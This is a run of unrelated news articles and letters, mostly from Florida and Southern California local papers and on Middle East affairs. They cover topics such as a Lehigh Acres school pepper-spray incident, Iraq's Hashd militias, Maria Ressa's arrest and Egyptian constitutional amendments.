According to Salem, Al-Azhar could expand its work in and for Africa. Abdel-Halim agrees, saying the parallel paths of consolidating states and their institutions, promoting sustainable development and advocating religious moderation could help Africa a great deal.

Salem argues that to secure success on these fronts Egypt needs to continue its high-level cooperation with leading African countries.

Clearly, one-on-one consultations between leaders are important to getting work done, and I think that President Al-Sisi is committed to making time to meet with African leaders, she says.

*A version of this article appears in print in the 14 February, 2019 edition of Al-Ahram Weekly under the headline: Egypt-Africa bonds; continental strategies

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Today

Partly cloudy this morning with thunderstorms becoming likely this afternoon. High 89F. Winds S at 5 to 10 mph. Chance of rain 70%.

Tonight

Partly cloudy. A stray shower or thunderstorm is possible. Low 74F. Winds light and variable.

Tomorrow

Partial cloudiness early, with scattered showers and thunderstorms in the afternoon. High 89F. Winds SE at 5 to 10 mph. Chance of rain 40%.To the editor:

William Edwards Deming, an American quality pioneer, famously said, In God we trust, all others bring data.

Using data, I describe why building a border wall is a political smoke screen designed to divert attention from much more serious problems affecting the United States. Donald Trump and the Republicans want you to think there is a huge crime problem with illegal immigrants.

Unauthorized immigrants compose 3.5 percent of the U.S. population. The Cato Institute reported in 2018 for all crimes, undocumented immigrants committed 56 percent less crime than native-born Americans. Legal immigrants committed 86 percent less crime than native-born Americans. Immigrants are not the main cause of crime.

There were 17,000 murders in the U.S .in 2017. The National Institute of Drug Abuse reported 72,000 synthetic opioid overdose deaths in 2017. NHTSA reported 10,874 deaths from drunk driving crashes in 2017. Collectively, this is 99,874 deaths in 2017 or 273 deaths per day.

Purdue Pharma knowingly engineered opioids to be addictive to increase sales. Many drivers with long records of alcohol abuse continue to legally drive.

Considering these factual data, how could anyone possibly think that building a border wall is a national priority?

Paul Kiefner

Cape CoralTo the editor:

Upon taking office, Gov. DeSantis laid out a plan to improve the water quality. He recognizes the impact that failure to take action on these issues has on the quality of life, the economy, the environment, and the natural resources in Florida.

He cannot accomplish this on his own. He will need the legislature to enact necessary laws and provide funding for his ambitions program. It is incumbent on us to convince our legislators to enact Gov. DeSantis programs. It is critical for all of us to make sure our representatives and senators know how concerned we are that they put the interests of the people of Florida first.

Contact your elected representatives and senators to let them know that you want them to get behind the governor and pass the appropriate legislation and funding for his programs. Call, write a letter, or send an email to all of your representative and senators to ask them to support the governors programs on water quality. Please contact your elected legislators once a week while the legislature is in session. We cannot afford to pass up the opportunity that we have at this time to have a huge impact on our future.

William L Sartoris

SanibelAccording to HomeArea.com, Lehigh Acres is among the top ranked cities with the most affordable homes in Florida.

The top five cities in Florida with the most affordable homes also include Deltona, Largo, Riverview, Spring Hill and Alafaya.

HomeArea.com spokesperson Rick Neil said to determine housing affordability, they compare local home prices with local incomes.

The medium multiple answers the question, how many years would it take for the median income to pay off the median home price,' he said. Lower values indicate that incomes in the area are high enough to make it easier to pay off a home. Anything under three is considered affordable.

Lehigh Acres has a 2.0 housing affordability median multiple.

In other words, it would take 2.0 years for the median income to meet the median home price in Lehigh Acres.

According to HomeArea.com the median home value for Lehigh Acres is $82,400 with a median month owner cost of $1,116 with a mortgage. The median monthly rent is $893, which includes utilities. The website also states that the median household income is $41,000.

The median year housing in Lehigh Acres was built in 2001, according to HomeArea.com.

The Florida median multiple is 4.1, which is higher than the 3.6 national median multiple.

He said the current data shows house prices are up, new and active listings are up, days on market are down and new construction is up when compared to the same month a year ago.

The only negative indicator that we are seeing is an increase in mortgage rates, Neil said.

He said timing of the market is extremely difficult, or impossible.

Focus on whether a move is right for you and your family and if it is, look for the home that best suits your needs. Everyones situation is different, Neil said.The public got to weigh in last week about a proposed six-mile shared-use pathway that would link local parks, schools and communities in Lehigh Acres.

The Florida Department of Transportation held the public hearing on the $4.5 million Able Canal Parkway project on Thursday, Feb. 7, inside Veterans Park Recreation Center.

The hearing started with an open house, which was followed by a formal presentation and public comment period.

FDOT project staff members were on hand to hear from residents who came to share their concerns and ask questions before the presentation.

Jean Scott, a resident and member of the Town Lakes Homeowners Association, is one member of the community opposed to the pathway plan.

Currently we have 425 empty lots, more than 300 homes, with a potential of nearly 900 votes. Most of us are not in favor of building this path. Our community used to be surrounded by a moat and has a guarded entrance. With this pathway going right through our community, it opens it up for anyone to just walk in. It turns our community from safe to not safe, said Scott.

Another resident of Town Lakes seconded Scotts fears.

I own property by Harns Marsh and have experienced the illegal activities that go on over near there at night. ATV riding, gun shots and parties. I dont want to see the same type of thing happen here in this neighborhood, said Phil Casey.

Other community members such as Mohamed Yasin are in favor of the shared-use pathway.

I think it can be a nice attraction to have here in Lehigh. People can bring their families and enjoy our parks and waterways, said Yasin.

After the meet-and-greet, Steven Andrews, FDOTs project manager, presented the proposed improvements, which consisted of constructing a new shared-use pathway along the north side of Able Canal where there currently is no continuous path. The six-mile pathway would run from Harns Marsh to Joel Boulevard and include features such as pavilions and rest areas along the way.

According to Andrews, the public hearing was being conducted to give interested persons an opportunity to express their views concerning the location, design, and social, economic, and environmental effects of the proposed pathway.

Planners chose the north side of the canal for the proposed pathway due to many factors, but environmental reasons were at the top of the list.

After looking into the other options, the north side will have the least amount of environmental impact, said Lauren Peters from the FDOT.

The FDOT has worked with community leaders on the conceptual design of the pathway connection, which would link local parks, schools and communities.

We have looked at several proposed design ideas, but felt this was the best in regards, the cost, environmental impacts and easements, said Andrews.

Following the workshop, FDOT listened to the publics comments on the recommended alternative for the pathway.

We will gather the input we get here tonight. Then we would have a 10-day window to finalize engineering and environmental evaluations and project documentation. The completed documentation will then be submitted to OEM for acceptance, explained Andrews. This hearing is to help us find out if residents want this pathway or not. We can then decide to build or not build. Its not a done deal.

The Able Canal shared-use pathway is a federally funded project that is estimated to cost under $4.5 million. The Lehigh Acres Municipal Services District would manage the pathway upon its completion.

Draft project documents will be available for public review from Thursday, Jan. 17, to Monday, Feb. 18, 2019 at the following locations: East County Regional Library, 881 Gunnery Road North, Lehigh Acres, FL 33971 and FDOT District One, Southwest Area Office, 10041 Daniels Parkway, Ft. Myers, FL 33913.

For more information regarding the project visit www.swflroads.com/ablecanalpathway/ or contact Mr. Steven Andrews, Project Manager Florida Department of Transportation, P.O. Box 1249, Bartow, Fl. 33831. Phone: 863-519-2270 or email: steven.andrews@dot.state.fl.usA 14-year-old girl has been arrested in connection with the discharge of pepper spray at a school dance at a Lehigh Acres elementary school.

Jayda White Green was charged Tuesday with possession of a weapon on school property, according to a release issued by the Lee County Sheriffs Office late Tuesday afternoon.

Lee County Sheriffs Office deputies had responded to G. Weaver Hipps Elementary School at 6:25 p.m. Friday in reference to a medical assistance call.

Witnesses told arriving deputies that someone sprayed pepper spray in the cafeteria where a Parent Teacher organized Friendship Dance was taking place.

Deputies evacuated the building and had everyone wait outside until Lehigh Acres Fire and Rescue arrived.

Thirteen people, most of them children, reported minor eye irritation or trouble breathing and were transported to the hospital.

The Youth Services Criminal Investigations Division was assigned to investigate.

Based on training and experience, detectives determined multiple individuals were reacting to the chemical agent aerosol discharge from pepper spray, the release states.

Officials said law enforcement policy in such cases is zero tolerance.

I have no tolerance for anyone who jeopardizes the safety of students, staff and family members at a school dance, Sheriff Carmine Marceno said in a prepared statement. Make no mistake, they will be held accountable to the fullest extent as safety and security in Lee County schools remains my number one priority.At a press conference Tuesday, the Cape Coral Police Department reiterated a message to Cape Coral and Lee County students alike, Fake ThreatsReal Consequences.

CCPD Chief David Newlan, along with Dr. Greg Adkins, the School District of Lee County Superintendent, spoke once again how serious law enforcement takes any threats against a school or its students and faculty, following three recent school threat arrests made at Mariner High School, Mariner Middle and Gulf Middle School.

Our top priority is protecting our children, and that will always continue, said Newlan. We take all threats very seriously and will continue to do so. We will investigate every one, and we will arrest you.

This has to stop, he continued. Kids that make these fake threats need to realize how serious this is. This has long-lasting effects  scholarships, future jobs. I am asking parents, grandparents, family members  please sit down with your children, talk to them, educate them and make them aware of how serious this is.

Newlan said that since the beginning of the school year, 47 fake threats have been reported in Cape Coral schools.

The three students arrested, ages 16, 13 and 12, will face second degree felony charges for their actions.

Adkins reported that since the end of winter break, there have been 20 threats in schools across the district, resulting in five arrests since the Fake ThreatReal Consequences campaign began (including the Cape students).

I want to emphasize to our students and our parents that when we talk about real consequences, we talk about extremely serious consequences, up to and including expulsion, Adkins said. Whats also, I think, very, very important, is the consequences that you see for other students who get scared by these threats. Also, the lost instructional time when kids stay home from school because a school is under a threat. Also, importantly, the amount of time that school staff has to take away from its primary mission, that our law enfacement officials have to take away from their primary mission, to investigate these threats  because we will do this. We will investigate every lead, until we get the person thats responsible for the threat.

Adkins implored parents to play a role in this initiative by speaking to their children and helping to end these senseless threats that are having a negative impact in our community.

His insight as to why these events keep occurring despite schools across the county highlighting their campaign?

We actually expected to have a slight uptick (in threats made), said Adkins. Whenever you bring attention to an issue, sometimes you have (instances) where students just want to try to see if Are they really serious? and I think what youre seeing is that, Yes, we are. Im not altogether surprised  Im a little bit surprised by the sheer numbers of it, but not surprised at the slight increase.

He believes that every threat made should be investigated to the fullest extent despite the significant manpower needed.

I think that when you let students get away with something like that, theyre more apt to repeat behavior, Adkins said.

He noted that parents may also be found monetarily responsible for the time and efforts of resources due to their childs fake threat.

These threats do not all fall under the same umbrella, as some may be to miss a test date or just a day of school in general, while some are a legitimate cry for help.

Its definitely a mix, he said. Youve got kids who are just pulling a stunt to get attention, you have other kids see where its just a cry for help.

CCPD Deputy Chief Anthony Sizemore, who was present at the initial Fake ThreatsReal Consequences campaign launch, provided his insight as to why these threats continue to occur in Cape Coral and Lee County schools.

I have a couple of different thoughts on it. Obviously were coming up on the anniversary of Parkland, and I believe that theres a little bit of jest if you will, as misplaced as it is, with the fact that we specifically named the type of threat of writing on the bathroom wall.

Four of the five school threats that resulted in arrests were threats written in school bathrooms.

Sizemore made an interesting point in that young students may see school threats as part of the experience.

Its a new reality that students in school today  its not a new novelty of school shootings, this is the way theyve grown up in the school system, that this happens. For people of our age, it still seems like a new phenomenon, but it is their reality that this is something to contend with, and to make light of it is really just disheartening  especially not even a year removed from students who were just horrified and had to experience that.

Sizemore said that the ever-growing presence of social media platforms and ways to communicate via technology may a role, especially that of one-upmanship.

 When you put it online and theres a competition aspect to out-wild the next person, this is another subset of that, he said.

School resource officers are now abundantly present in facilities across Lee County working to help mitigate these threats, determining whether they are credible or not and finding who is responsible.

The SROs are just the beginning of the law enforcement process though, as CCPD, as well as other agencies in Lee County delve deep into their tool box to resolve school threats.

Its not just an SRO running down leads. They take the initial report (then) we partner with our major crimes detectives that come out of this building and go to the school. We had three in one day yesterday, thats a taxing effort, said Sizemore.

For more information on the Fake ThreatReal Consequences campaign, visit www.leeschools.net.

-Connect with this reporter on Twitter: @haddad_cjEgypt's President Abdel-Fattah El-Sisi hailed on Wednesday the role that has been played by the American University in Cairo (AUC) throughout its history in serving the Egyptian education sector and society.

President El-Sisi also highlighted the AUC's contribution to the country's educational and research system and role in fostering closer relations between the Egyptian and American peoples, said presidential spokesman Bassam Radi.

President El-Sisi made the remarks on Tuesday at a meeting with the AUC's Board of Trustees, under its Chairman Richard Bartlett, and the university's President Francis Ricciardone in the presence of Higher Education Minister Khaled Abdel-Ghafar.

President El-Sisi greeted the AUC's Board of Trustees on the 100th anniversary of the establishment of the university, highlighting the importance of strategic relations between Egypt and the US.

The president asserted Egypt's keenness on boosting Egyptian-US ties, which he described as crucial for maintaining stability in the Middle East region.

El-Sisi reiterated that fighting terrorism requires spreading knowledge and raising awareness in addition to creating an open-minded and fine-balanced human being, citing the major role of education and universities in this regard.

The chairman of the AUC's Board of Trustees asserted that the university is committed to serving Egypt in the long run and promoting ties between the Egyptian and American peoples by offering well-developed education.

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Cape Coral property owners protesting a proposed rezoning of a major intersection near their homes received a reprieve Monday.

Cape Coral City Council removed the intersection know as the Four Corners, from a citywide zoning ordinance with the understanding that its rezoning would be brought forth in the future as a separate ordinance.

Upon reflection from the meeting last week we gained a new appreciation of the complexity of the issues surrounding Four Corners, said city Planning Manager Robert Pederson.

Residents who live nearby the intersection of Agualinda Boulevard and Beach Parkway filled council chambers last week to protest the proposed land use changes for the area that could have allowed for more than 500 multi-family units.

In the end, it was decided that the land use would be for light-density multi-family housing. But the outcry convinced Pederson and city staff that a new way of looking at it was in order.

Those affected by any rezoning would receive full notice through sign postings, newspaper ads and direct notice for those who live within 500 feet. It would be presented as a quasi-judicial hearing, with the first hearing coming before the hearing examiner, who would make a ruling and bring it to Council.

After the drama of last week, the city presented its rezoning plan, a companion ordinance to the land-use measure transmitted to the state.

Following a near 10-minute reading of the ordinance, City Planner Wyatt Daltry went through the 9,819-acre plan, which is designed to create consistency with the land-use, comprehensive and land development codes.

Among the greatest changes is the elimination of the Residential Development, R-3 zoning by splitting it into RML and RMM which are light and medium density multi-family designations, Marketplace Residential, Residential Receiving and Village.

Eight districts are proposed to be removed as a way to streamline things and make development easier and more consistent. However, about two-thirds of them represent like-for-like changes, with another 14 percent unzoned.

Councilmember Jessica Cosden said she wanted a comprehensive list of the properties that arent unzoned or like-for-like

Councilmember John Gunter said that he would like to see more in the way of commercial so the tax base can grow. He wanted a list of the properties on the main thoroughfares where there is a change to multi-family.

Some of these lots scream out commercial because of their location. I want to see if there is a possibility of that, Gunter said. With a 92-8 tax base here, we would all like to see the commercial tax base increase. This is a golden opportunity.

The ordinance is expected to receive further discussion at the Feb. 25 Council workshop meeting. A second and final public hearing is set for March 18.

In other business, Cosden led a discussion on replacing the office manager who just left, leaving two people on staff to assist Council members.

Among the options discussed were to hire a third person either full-time or part-time or perhaps share a full-time person with another department.

Mayor Joe Coviello suggested possibly an intern, but Councilmember Rick Williams was concerned with an interns dependability.

In the end, with council members David Stokes and Jennifer Nelson in Tallahassee and excused from the meeting, it was decided to table the idea until everyone was present.

Also, Carl Veaux and the Cape Coral Friends of Wildlife presented the Cape Coral Parks and Recreation a check for $14,324.78 for an environmental Center at Serenia Vista Park. The donation was raised at a recent gala at the Cape Coral Yacht Club.

The city also named David Jiminez to fill a vacancy with the Affordable Housing Advisory Committee.Students were back in class at at G. Weaver Hipps Elementary School Monday following an incident that sent 13 people to the hospital Friday after an irritant was discharged at a school dance.

The dozen or so affected, most of them children, reported eye irritation or difficulty breathing.

The school was a hosting a schoolwide dance for students and their parents and guardians when the irritant, which officials say was likely pepper spray, was discharged in the cafeteria.

We attended the dance with my daughter and brought our young son. Shortly after the dance started, we noticed a strange odor and my young son began to cough. Other children started to cough and had trouble breathing. People started to rush out of the building, said parent Lorraine Read.

The friendship dance, which started at 5 p.m. and was supposed to go on until 7 p.m., was cut short as dance attendees were either transported to the hospital with minor eye irritation and breathing difficulties or detained by officials investigating the incident.

About 400 parents, students, and staff were at the dance and the majority was held in a gated area outside of the school following the incident.

We were held for a couple of hours while deputies and fire personnel assessed the situation. It was definitely frustrating not knowing what was going on and the kids were scared, said Reads.

Lehigh Acres Fire Control and Rescue District, along with Lee County deputies and EMS were the responding agencies.

The assumption is that it was pepper spray. Pepper spray goes a long way once its disseminated. We had a county hazmat team there to clear the school and test for irritants or any other air quality issues. The school was cleared to open, but the exact substance used is still unknown at this time, said Lehigh Acres Fire District Chief Robert DiLallo.

A hazmat team was brought in to investigate over the weekend and test air quality, he said, adding the investigation is now in the hands of Lee County Sheriffs Office.

We currently have an investigation open to determine what type of irritant was released and who released it. Thats all we can release at this time, said Tiffany Wood, LCSO spokesperson.We're always interested in hearing about news in our community. Let us know what's going on!

Go to formIf you already subscribe to our eEdition edition, sign up for FREE access to our online edition. Thanks for reading the El Campo Leader News.In 2014, as Islamic State militants were seizing large chunks of Iraqi territory and advancing toward Baghdad, hundreds of thousands of volunteers rose to the capitals defense. They joined the Shiite-dominated militias known in Arabic as the Hashd al Shaabi.

Though many of the militias were funded by neighboring Iran, they became a crucial part of the U.S.-led campaign to defeat the extremists.

That campaign all but ended last year with the defeat of Islamic State, but the Hashd is not demobilizing.

Instead, the militias have transformed themselves into a potent government institution, political entity and economic player whose strong ties to Iran are likely to complicate U.S. foreign policy in the region.

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The U.S. hopes to isolate Iran by pushing Iraq and other regional governments to stay out of its orbit.

Iran was once a bitter enemy of Iraq. But since U.S.-led forces toppled Iraqi dictator Saddam Hussein in 2003, Iran has become an important trading partner that wields increasing influence.

A recent study commissioned by the U.S. Army concluded that an emboldened and expansionist Iran appears to be the only victor of the U.S.-led invasion.

In the run-up to Iraqi elections last May, the Iranian-backed militias spawned a political party called Fatah, or Conquest, which netted 54 seats in parliament  more than all but one other party.

That gave the militias the political wherewithal to turn the Hashd from a makeshift volunteer force into an official branch of Iraqs armed services.

In November, parliament passed a law granting the Hashds 122,000 to 140,000 personnel wage parity with their counterparts in the Iraqi military along with many of the same benefits. The Hashds budget this year was doubled to $2 billion.

Last month, according to local media reports quoting key politicians and others, the Fatah party persuaded the government to give the Hashd control of the Mutassem Co., one of the largest state-owned construction contractors in Iraq. The Hashd intends to use its fighters to pour cement, pave roads and repair homes as part of the effort to rebuild the country after so many years of war.

Its growing influence has stirred fear in Washington that the Hashd could help Iran circumvent U.S. sanctions, which severely limit its ability to export its goods and do business with other countries.

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The U.S. government also has reason to be concerned about its ability to maintain a military presence in Iraq.

President Trump said in an interview on CBS last week that he intended to keep U.S. troops at Asad Air Base, about 100 miles west of Baghdad, to keep an eye on Iran. His comments renewed calls by the Hashd to terminate the agreement that allows the U.S. to station 5,000 military personnel in Iraq.

There are challenges before us that must be surmounted  the most important of which is the American presence, Hadi Ameri, head of the Fatah alliance, told reporters in Baghdad.

Hashd fighters in 2016. (Carolyn Cole / Los Angeles Times)

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The Hashds rising profile has also worried many Iraqis, who say that the group is amassing a level of power that threatens to undermine the government and remains close with militias that were never absorbed by the military.

Hakim Zamili, former head of parliaments security and defense committee, accused the government of being too weak to confront the militias and their growing economic might.

If there isnt decisive action by the government, then of course we cant succeed and achieve what the Iraqi citizen is demanding in terms of unemployment, corruption and services, he said.

Defenders of the Hashd contrast it with the Iraqi army of 2014, when many of its soldiers shed their uniforms and threw away their guns as Islamic State advanced.

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When Grand Ayatollah Ali Sistani, a Shiite Muslim cleric and Iraqs highest religious authority, issued a religious edict calling on every able-bodied man to defend the capital, hundreds of thousands left their jobs and joined new militias.

Others enlisted in existing factions, including League of the Righteous, the Badr Organization and the Hezbollah Brigades  all of which receive funding, training and equipment from Iran and are sworn enemies of the United States.

The militiamen participated in every major battle against the extremists even as the U.S., Iraqi politicians and others expressed misgivings about a Shiite-dominated force attacking Sunni Muslim areas.

Some also worked with Iran across the border in Syria, bolstering troops loyal to Syrian President Bashar Assad against his rebel enemies.

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The U.S. and its coalition of 73 countries fighting Islamic State worked alongside the militias with the hope they would be disbanded after the fighting was over.

Iran should respect the sovereignty of the Iraqi government and permit the disarming, demobilization, and reintegration of Shia militias, the State Department tweeted in October.

Many of those militias still exist, even as the Hashd became a branch of the Iraqi military and some of its commanders were integrated into other defense agencies, including the Counter-Terrorism Service, a special operations force trained and equipped by the U.S.

Officially, the Hashd no longer has anything to do with the militias. But the line between the two is murky.

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The Hashd still maintains many of its old bases and helps man military checkpoints.

Parliamentarians and security personnel have accused the Hashd and its former militias  which have created so-called economic offices  of imposing levies on commerce, using their influence to grab real estate or charge protection money for safe passage.

Ahmed Jabouri, a parliament member from the northwestern province of Nineveh, accused the provincial government of allowing armed groups associated with the Hashds factions to steal 70 to 100 tankers of crude oil a day from the town of Qayyarah. The government is silent, he said.

Nineveh is being robbed in broad daylight.

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One researcher, who asked to withhold his name for reasons of security, estimated that one out of every 32 barrels of oil sold in the country benefited the coffers of militias such as the League of the Righteous.

In the Sunni-dominated regions near Iraqs western and northern border, the militias have also made money by taking over old smuggling routes to ferry food, clothing and many other goods from Syria and Turkey.

Before, Sunnis in west Iraq had to make deals with [Islamic State] to have goods coming through from Turkey or Syria. Now theyre much better off making deals with the Hashd, said one person close to both the Hashd and the Syrian government and who has brokered some of these deals. The source spoke on condition of anonymity for security reasons.

Likewise there are specific factions that cooperate with Syrians to bring in Syrian products, such as fruit, vegetables, soaps and plastics, the source said.

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The Hashds plans to help rebuild the country have won praise in some quarters.

Since there isnt a whole lot of fighting to do, theres an intention to expand beyond military and to use Hashd personnel to provide services, said Ali Mawlawi, a political analyst at the Baghdad-based Bayan Center think tank.

If youve got more than 120,000 people who can get things done much faster than others, and are a lot more versatile and dynamic, I think that has a public benefit, he said.

A highly visible role in public works projects and other popular programs also has enormous benefit for the Hashd.

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Their aim is to entrench their patronage and social influence by creating a network of social service entities to go with their militia, said Thanassis Cambanis, a senior fellow at the New York-based Century Foundation think tank.

He said the approach is similar to the model used in Lebanon by Hezbollah  the Iran-backed paramilitary group and political party  to exert power over the government there.

If the state cant build the highway and the Hashd can, what does that say about the state? he said.A suicide bombing killed 27 of Irans elite Islamic Revolutionary Guard members and injured 13 others shortly after sunset Wednesday in the countrys southeast, according to state media.

The Sunni Muslim extremist group Jaish al-Adl claimed responsibility for the attack on a bus carrying guard members who had just finished patrolling in Sistan and Baluchistan province near the border with Pakistan.

Authorities believe the attacker drove up next to the bus before detonating a car bomb, according to the semiofficial Fars news agency.

Jaish al-Adl came to prominence in recent years claiming to fight oppression against the Sunni minority in the southeastern province.

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An overwhelming majority of Irans population is Shiite Muslim, but about 9% of the nation is Sunni. Many in the minority sect live in the impoverished outlying areas of Iran and say they face discrimination, poverty and a lack of opportunity.

The group has become pretty famous in Iran, Ariane Tabatabai, an associate political scientist at Rand Corp., said of Jaish al-Adl. What makes Wednesdays attack unique is that its happening in the middle of the anniversary of the revolution, which is a time when Iran wants to showcase its military power.

The attack came two days after thousands of Iranians commemorated the 40th anniversary of the Islamic Revolution, which ousted a secular pro-Western monarchy and replaced it with the Islamic Republic.

It also came on the first day of a U.S.-led Mideast conference in Warsaw. Outside the conference, hundreds of demonstrators called for a change of government in Iran. The protest was organized by the National Council of Resistance of Iran. The council is linked to the Mujahedin Khalq, an Iranian exile group that has long sought to topple the government in Tehran and enjoys support among some members of the Trump administration.

Iranian Foreign Minister Mohammad Javad Zarif sought to link the attack with the conference in a tweet: Is it no coincidence that Iran is hit by terror on the very day that #WarsawCircus begins? Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots?

Bahram Qasemi, a spokesman for the Foreign Ministry, condemned the suicide bombing and said officials and Irans military would take revenge on the murderous terrorists.

The wreckage of a bus is shown after a suicide bombing in Sistan and Baluchistan province in southeastern Iran in an image from the semiofficial Fars news agency. The bus was carrying members of Irans Islamic Revolutionary Guard. (Fars news agency)

Jaish al-Adl, whose name means Army of Justice, is an offshoot of the still-active militant Jundallah separatist group from Sistan and Baluchistan, Tabatabai said.

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Jaish al-Adl is just one of several extremist groups in the province, Tabatabai said, with members of Irans armed forces patrolling there facing numerous terrorist attacks in recent years. The area is one of the most underdeveloped parts of Iran, she said.

There are few jobs and not many opportunities, so it creates an environment where terrorist groups can recruit people easily, Tabatabai said.

Jaish al-Adl has targeted members of Irans armed forces for kidnappings or deadly attacks. The group has also demanded the government release its jailed members.

In 2013, authorities hanged 16 people in retaliation for the killing of 14 border guards who were ambushed near the border with Pakistan.

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Its unclear whether the prisoners were part of Jaish al-Adl. Fars said they were linked to groups hostile to Irans political system.

In 2014, Jaish al-Adl kidnapped five members of the Revolutionary Guard in the same border region, according to state media. Four of the guards were released in Pakistan two months later, but the fifth had been executed, state media said. The group kidnapped 12 Iranian border guards in October, according to state media. Five were later freed, Fars reported.

The Revolutionary Guard was formed by Shiite cleric Ayatollah Ruhollah Khomeini shortly after the 1979 revolution and is distinct from the regular military. In its early days, the guard was made up of destitute young men from urban areas who were used to clamp down on critics of the revolution.

The Revolutionary Guard, numbering about 125,000 members, now plays a major political and economic role in Iran and is a potent symbol of the Shiite majority.

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Special correspondent Mostaghim reported from Tehran and Times staff writer Etehad from Los Angeles.Maria Ressa, a veteran Philippine journalist and frequent target of the countrys president, was arrested Wednesday and charged with cyber libel.

Ressa, who garnered international recognition last year when she was among several reporters named Time magazines Person of the Year, was already facing charges of tax evasion in what critics said was an attempt to stifle critical reporting of President Rodrigo Duterte.

Ressa, the chief executive and executive editor of the news site Rappler, was arrested at the news outlets Manila headquarters by plainclothes officers from the National Bureau of Investigation, the news site reported. Authorities also charged former Rappler researcher Reynaldo Santos Jr.

The libel charge stems from a story published in May 2012, more than four months before the law Ressa and Santos are accused of violating was enacted.

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The story, which was about an impeached chief justice, included details about businessman Wilfredo D. Keng, who filed the libel complaint for being described as having links to human trafficking and illicit drugs.

It was unclear late Wednesday whether Ressa would be permitted to post bail, as she did in December after being charged with tax evasion.

We are not intimidated. No amount of legal cases, black propaganda and lies can silence Filipino journalists who continue to hold the line, Ressa said in a statement. These legal acrobatics show how far the government will go to silence journalists, including the pettiness of forcing me to spend the night in jail.

Ressa noted that she has yet to see the charge sheet. Without the charge sheet, Ressa and her lawyers are not certain how much the bail was set. #PHNews #DefendPressFreedom https://t.co/SDuBgTtsIP  Rappler (@rapplerdotcom) February 13, 2019

The National Bureau of Investigation could not be reached for comment.

The crime of cyber libel was introduced as part of a controversial law aimed at primarily stamping out online fraud and child pornography, but which critics said was fashioned to control dissent against the government on the internet. Conviction of cyber libel can result in up to 12 years in prison.

Presidential spokesman Salvador Panelo said on national television that Ressas arrest was in accordance with the law.

Theres nothing to do with freedom of expression or freedom of the press, he said.

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Still, the arrest drew immediate condemnation from free press advocates.

The Philippine governments legal harassment of Rappler and Ressa has now reached a critical and alarming juncture, Shawn Crispin, the Committee to Project Journalists senior Southeast Asia representative, said in a statement. We call on Filipino authorities to immediately release Ressa, drop this spurious cyber libel charge, and cease and desist this campaign of intimidation aimed at silencing Rappler.

Rappler is credited with dogged reporting on Dutertes so-called war on drugs, which has resulted in the deaths of thousands of mostly poor Filipinos.

Ressa is the recipient of last years Knight International Journalism Award and the Committee to Protect Journalists Gwen Ifill Press Freedom Award.

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In the Philippines, however, her site is treated as a pariah by the Duterte administration and its supporters. Rapplers reporters have been barred from covering presidential events and are the frequent subject of death threats.

The Manila-based Center for Media Freedom and Responsibility says conditions have deteriorated for journalists under Dutertes presidency, in which charges of spreading fake news have been leveled at independent reporting. Twelve reporters have been killed since Duterte took power in 2016, the group said.

Everyone who values press freedom and free expression needs to call President Rodrigo Duterte to account for this latest and most brazen assault on the very values that make possible the building of a free society, the center said in response to Ressas arrest.

david.pierson@latimes.com | Follow me @dhpiersonStudents in grades K-12 who attend school located within the service area of Foothill Municipal Water District  primarily in La Canada Flintridge, Montrose, La Crescenta and Altadena  are invited to enter the eighth annual Water is Life art contest.

The future requires that we all use water wisely. This theme of conservation and stewardship should be reflected in the artwork, according to a news release issued Monday by FMWD General Manager Nina Jazmadarian. Her agency co-sponsors the contest with Metropolitan Water District of Southern California.

Judges will consider artworks in three age groups: K-3, 4-6 and 7-12. The grand prize winner in each category will capture a $100 prize and their teacher will be given a $50 gift card.

Local winning entries will be submitted to MWD for consideration for use in the 2019 Water is Life Student Artwork Calendar.

The deadline for contest submissions is Monday, April 15. To learn more, visit fmwd.com.

carol.cormaci@latimes.com

Twitter: @CarolCormaciLeaders of a union at USC Verdugo Hills Hospital are asking the National Labor Relations Board to disregard a recent vote by union members to end third-party representation, claiming hospital management unlawfully influenced the voting process.

Late last month, members of Service Employees International Union-United Healthcare Workers West, known as SEIU-UHW, voted 118 to 107 to dissolve the union they had fought to join about three years ago.

Union leaders claimed that, prior to the vote, hospital management promised union members benefits, such as maintaining their health insurance and extending employment offers, if they left the union, while also supporting employee Andrew Brown, who spearheaded the disbanding effort, according to SEIUs objection to the election filed Friday with the labor board.

In addition to robbing the employees of a fair and free election, the employers actions violated certain aspects of the National Labor Relations Act, the filing states.

USC Verdugo Hills health-care workers picket, threaten strike, alleging unfair treatment 

It is [the hospitals] position that this vote represents its employees desire to work with local leadership directly, as a team, instead of using a third party to represent them, according to a statement from the hospital.

According to SEIUs filing, Keith Hobbs, the hospitals chief executive, also sent two letters  the first in October and the other in January  encouraging employees to decertify the union.

Hospital representatives would not confirm or deny the existence of the letters allegedly sent by Hobbs.

Brown, a surgical buyer at the hospital, has been fighting since October to dissolve the union when he filed a petition that was rejected by the labor board because it arrived two days too late.

Brown filed another petition on Jan. 1, which resulted in a two-day election held Jan. 30 and 31 and was overseen by labor board officials.

According to Brown, SEIUs appeal amounts to a stall tactic, meant to drag out the process in order to hang on to power and collect dues as long as possible.

Theres nothing that should overturn the clear preference of these employees, said Patrick Semmens, a spokesman with anti-union nonprofit National Right to Work Foundation, which is representing Brown pro bono. Unfortunately, union officials arent respecting the workers they claim to represent here.

Semmens added that, under the National Labor Relations Act, employees have the explicit right to rid themselves of third-party representation through fair elections.

Union representatives did not respond to requests for comment.

Brown contacted National Right to Work in the fall, following the rejection of his first petition.

No hearing has been set for SEIUs objection to the election. Meanwhile, the contract negotiated between SEIU and hospital management, originally set to expire Jan. 31, remains in place.

lila.seidman@latimes.com

Twitter: @lila_seidmanEgypt's parliament began discussing on Wednesday a number of newly proposed constitutional amendments. Parliament Speaker Ali Abdel-Aal said that the House will devote a full-day discussion of the amendments on Wednesday, and then take a provisional vote on Thursday.

We will hold three plenary sessions today to allow representatives of political parties and independent forces to take the floor to express their views on the amendments, and tomorrow we will take the provisional vote, said Abdel-Aal, adding that each MP will be required to vote by saying 'yes' or 'no' upon hearing his/her name.

Abdel-Aal also said that the discussion on Wednesday and Thursday will be confined to whether to approve the amendments in principle and why.

The discussion of the amended articles in detail will be left to the constitutional and legislative affairs committee when it convenes to hold a national dialogue on them, said Abdel-Aal, revealing that the discussion in the committee will be confined to the articles amended.

Nobody will be able to propose amending new articles as this would require new procedures, said Abdel-Aal.

The discussion has shown that there is much objection to the proposal that 25 percent of seats in parliament be reserved to women.

Leftist opposition MPs have also charged that the amendments are clearly tailored to benefit a certain "figure." Ahmed Tantawi, a leftist MP, said the amendments are a setback, and are clearly tailored to suit a figure whose name we all know.

